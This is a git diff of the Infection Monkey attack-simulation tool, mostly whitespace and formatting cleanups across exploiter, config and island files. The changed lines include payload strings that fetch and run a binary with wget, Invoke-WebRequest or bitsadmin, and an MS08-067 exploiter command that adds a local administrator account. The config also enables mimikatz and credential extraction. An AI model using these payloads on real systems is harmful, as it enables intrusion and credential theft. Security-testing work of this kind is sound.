diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 0fc6dd10a..55a359b60 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -114,7 +114,7 @@ class MonkeyDrops(object):
except OSError:
LOG.warning("Cannot set reference date to destination file")
- monkey_options =\
+ monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os():
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 194e18625..4fb0200c8 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -1,109 +1,109 @@
{
- "should_exploit": true,
- "command_servers": [
- "192.0.2.0:5000"
- ],
- "internet_services": [
- "monkey.guardicore.com",
- "www.google.com"
- ],
- "keep_tunnel_open_time": 60,
- "subnet_scan_list": [
+ "should_exploit": true,
+ "command_servers": [
+ "192.0.2.0:5000"
+ ],
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ],
+ "keep_tunnel_open_time": 60,
+ "subnet_scan_list": [
- ],
- "inaccessible_subnets": [],
- "blocked_ips": [],
- "current_server": "192.0.2.0:5000",
- "alive": true,
- "collect_system_info": true,
- "extract_azure_creds": true,
- "should_use_mimikatz": true,
- "depth": 2,
+ ],
+ "inaccessible_subnets": [],
+ "blocked_ips": [],
+ "current_server": "192.0.2.0:5000",
+ "alive": true,
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true,
+ "depth": 2,
- "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
- "dropper_date_reference_path_linux": "/bin/sh",
- "dropper_log_path_windows": "%temp%\\~df1562.tmp",
- "dropper_log_path_linux": "/tmp/user-1562",
- "dropper_set_date": true,
- "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
- "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
- "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_set_date": true,
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_target_path_linux": "/tmp/monkey",
- "monkey_dir_name": "monkey_dir",
+ "monkey_dir_name": "monkey_dir",
- "kill_file_path_linux": "/var/run/monkey.not",
- "kill_file_path_windows": "%windir%\\monkey.not",
- "dropper_try_move_first": true,
- "exploiter_classes": [
- "SSHExploiter",
- "SmbExploiter",
- "WmiExploiter",
- "ShellShockExploiter",
- "ElasticGroovyExploiter",
- "SambaCryExploiter",
- "Struts2Exploiter",
- "WebLogicExploiter",
- "HadoopExploiter",
- "VSFTPDExploiter",
- "MSSQLExploiter"
- ],
- "finger_classes": [
- "SSHFinger",
- "PingScanner",
- "HTTPFinger",
- "SMBFinger",
- "MySQLFinger",
- "MSSQLFingerprint",
- "ElasticFinger"
- ],
- "max_iterations": 3,
- "monkey_log_path_windows": "%temp%\\~df1563.tmp",
- "monkey_log_path_linux": "/tmp/user-1563",
- "send_log_to_server": true,
- "ms08_067_exploit_attempts": 5,
- "user_to_add": "Monkey_IUSER_SUPPORT",
- "remote_user_pass": "Password1!",
- "ping_scan_timeout": 10000,
- "smb_download_timeout": 300,
- "smb_service_name": "InfectionMonkey",
- "retry_failed_explotation": true,
- "self_delete_in_cleanup": true,
- "serialize_config": false,
- "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
- "skip_exploit_if_file_exist": false,
- "exploit_user_list": [],
- "exploit_password_list": [],
- "exploit_lm_hash_list": [],
- "exploit_ntlm_hash_list": [],
- "exploit_ssh_keys": [],
- "sambacry_trigger_timeout": 5,
- "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
- "sambacry_shares_not_to_check": ["IPC$", "print$"],
- "local_network_scan": false,
- "tcp_scan_get_banner": true,
- "tcp_scan_interval": 0,
- "tcp_scan_timeout": 10000,
- "tcp_target_ports": [
- 22,
- 445,
- 135,
- 3389,
- 80,
- 8080,
- 443,
- 3306,
- 8008,
- 9200,
- 7001,
- 8088
- ],
- "timeout_between_iterations": 10,
- "use_file_logging": true,
- "victims_max_exploit": 15,
- "victims_max_find": 100,
- "post_breach_actions" : []
- custom_PBA_linux_cmd = ""
- custom_PBA_windows_cmd = ""
- PBA_linux_filename = None
- PBA_windows_filename = None
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not",
+ "dropper_try_move_first": true,
+ "exploiter_classes": [
+ "SSHExploiter",
+ "SmbExploiter",
+ "WmiExploiter",
+ "ShellShockExploiter",
+ "ElasticGroovyExploiter",
+ "SambaCryExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter"
+ ],
+ "finger_classes": [
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "SMBFinger",
+ "MySQLFinger",
+ "MSSQLFingerprint",
+ "ElasticFinger"
+ ],
+ "max_iterations": 3,
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "send_log_to_server": true,
+ "ms08_067_exploit_attempts": 5,
+ "user_to_add": "Monkey_IUSER_SUPPORT",
+ "remote_user_pass": "Password1!",
+ "ping_scan_timeout": 10000,
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey",
+ "retry_failed_explotation": true,
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
+ "skip_exploit_if_file_exist": false,
+ "exploit_user_list": [],
+ "exploit_password_list": [],
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": [],
+ "sambacry_trigger_timeout": 5,
+ "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
+ "sambacry_shares_not_to_check": ["IPC$", "print$"],
+ "local_network_scan": false,
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 10000,
+ "tcp_target_ports": [
+ 22,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 3306,
+ 8008,
+ 9200,
+ 7001,
+ 8088
+ ],
+ "timeout_between_iterations": 10,
+ "use_file_logging": true,
+ "victims_max_exploit": 15,
+ "victims_max_find": 100,
+ "post_breach_actions": []
+ custom_PBA_linux_cmd = ""
+ custom_PBA_windows_cmd = ""
+ PBA_linux_filename = None
+ PBA_windows_filename = None
}
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index c8f897dd2..f66a58ab0 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
- resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
+ resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index dcad2adf1..c8982a7e2 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
-
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
- monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+ monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
- prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
- suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
+ prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
+ suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index edc4851e9..932d94b77 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
- 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
+ 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
index eabe8d9d7..d37ab9e53 100644
--- a/monkey/infection_monkey/exploit/tools/exceptions.py
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -1,5 +1,3 @@
-
-
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index 91a25c270..5e4b43b20 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -74,7 +74,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
- host.os.get('machine', '').lower() == platform.machine().lower():
+ host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
index 31632b045..5c4415fe3 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.")
elif self.command == "":
- return [self.prefix+self.suffix]
+ return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index 51564518e..2507cff66 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
+
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index ac648012b..daccb4cfb 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -1,4 +1,3 @@
-
import threading
import logging
import time
@@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
-
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
-
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 7148ba965..4257677b0 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
- self.host.os.get('version') in list(self._windows_versions.keys()):
+ self.host.os.get('version') in list(self._windows_versions.keys()):
return True
if not self.host.os.get('type') or (
- self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
+ self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
- self._config.user_to_add,
- self._config.remote_user_pass,
- self._config.user_to_add).encode())
+ self._config.user_to_add,
+ self._config.remote_user_pass,
+ self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 257cfd469..cc286bfcd 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False
-
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index 254bce966..e4cfea7a4 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -5,14 +5,14 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
-DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
-MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
-MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
+DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
+MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
+MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
-DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
-MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
+DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
+MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
- '/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
+ '/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
@@ -33,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
- "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
- " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
- "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
+ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
+ " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
+ "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
- "&& wget -O %(monkey_path)s %(http_path)s " \
- "; chmod +x %(monkey_path)s " \
- "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
+ "&& wget -O %(monkey_path)s %(http_path)s " \
+ "; chmod +x %(monkey_path)s " \
+ "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 180
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 3985c8a2e..a74c497af 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
- (':'+self._default_server_port if self._default_server_port else ''))
+ (':' + self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index 2d7b981f5..1418c22cc 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -13,7 +13,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
-
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"
diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py
index e6130732d..623b7368f 100644
--- a/monkey/infection_monkey/network/mssql_fingerprint.py
+++ b/monkey/infection_monkey/network/mssql_fingerprint.py
@@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
-
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
index fa2d812ae..3df936672 100644
--- a/monkey/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
-
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 89417757d..3438eccda 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
+
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 73b8a3221..57bf0aaf7 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
-
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
+
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index b5dfa93c7..78ee4ad42 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -16,6 +16,7 @@ class PostBreach(object):
"""
This class handles post breach actions execution
"""
+
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()
diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py
index d169bda6a..3e2bed17e 100644
--- a/monkey/infection_monkey/pyinstaller_utils.py
+++ b/monkey/infection_monkey/pyinstaller_utils.py
@@ -1,7 +1,6 @@
import os
import sys
-
__author__ = 'itay.mizeretz'
diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py
index 831b10ba1..fb38f84c4 100644
--- a/monkey/infection_monkey/system_info/linux_info_collector.py
+++ b/monkey/infection_monkey/system_info/linux_info_collector.py
@@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info
-
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 2c3696f44..1419478db 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -1,6 +1,7 @@
import os
import logging
import sys
+
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py
index a87e297d9..a42472b82 100644
--- a/monkey/infection_monkey/system_info/wmi_consts.py
+++ b/monkey/infection_monkey/system_info/wmi_consts.py
@@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}
-
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index 485a9253e..f82e7be44 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
-
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py
index 735ef670a..25509ef85 100644
--- a/monkey/infection_monkey/transport/__init__.py
+++ b/monkey/infection_monkey/transport/__init__.py
@@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
-
__author__ = 'hoffer'
diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py
index e910e657f..22cff5d4a 100644
--- a/monkey/infection_monkey/transport/tcp.py
+++ b/monkey/infection_monkey/transport/tcp.py
@@ -41,13 +41,13 @@ class SocketsPipe(Thread):
except:
break
self._keep_connection = True
-
+
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
-
+
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 8ab61c895..9b5e7b849 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
-
HOME_FILE = 'index.html'
diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py
index 8fbef1e0e..f55fcf896 100644
--- a/monkey/monkey_island/cc/island_logger.py
+++ b/monkey/monkey_island/cc/island_logger.py
@@ -2,7 +2,6 @@ import os
import json
import logging.config
-
__author__ = 'Maor.Rayzin'
diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json
index 34a57b374..522177cda 100644
--- a/monkey/monkey_island/cc/island_logger_default_config.json
+++ b/monkey/monkey_island/cc/island_logger_default_config.json
@@ -1,33 +1,33 @@
{
- "version": 1,
- "disable_existing_loggers": false,
- "formatters": {
- "simple": {
- "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
- }
- },
-
- "handlers": {
- "console": {
- "class": "logging.StreamHandler",
- "level": "DEBUG",
- "formatter": "simple",
- "stream": "ext://sys.stdout"
- },
-
- "info_file_handler": {
- "class": "logging.handlers.RotatingFileHandler",
- "level": "INFO",
- "formatter": "simple",
- "filename": "info.log",
- "maxBytes": 10485760,
- "backupCount": 20,
- "encoding": "utf8"
- }
- },
-
- "root": {
- "level": "DEBUG",
- "handlers": ["console", "info_file_handler"]
+ "version": 1,
+ "disable_existing_loggers": false,
+ "formatters": {
+ "simple": {
+ "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
+ },
+ "handlers": {
+ "console": {
+ "class": "logging.StreamHandler",
+ "level": "DEBUG",
+ "formatter": "simple",
+ "stream": "ext://sys.stdout"
+ },
+ "info_file_handler": {
+ "class": "logging.handlers.RotatingFileHandler",
+ "level": "INFO",
+ "formatter": "simple",
+ "filename": "info.log",
+ "maxBytes": 10485760,
+ "backupCount": 20,
+ "encoding": "utf8"
+ }
+ },
+ "root": {
+ "level": "DEBUG",
+ "handlers": [
+ "console",
+ "info_file_handler"
+ ]
+ }
}
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index c3c762dbc..17c537aeb 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
+
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 324903809..8d0ed42ad 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
+
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 3c10ca7d7..0d12f9785 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)
-
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
index d61478641..c7190d0f1 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
+
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py
index da7651f24..803fb5453 100644
--- a/monkey/monkey_island/cc/resources/attack/attack_config.py
+++ b/monkey/monkey_island/cc/resources/attack/attack_config.py
@@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}
-
diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py
index 54a16f518..41f5fa417 100644
--- a/monkey/monkey_island/cc/resources/local_run.py
+++ b/monkey/monkey_island/cc/resources/local_run.py
@@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
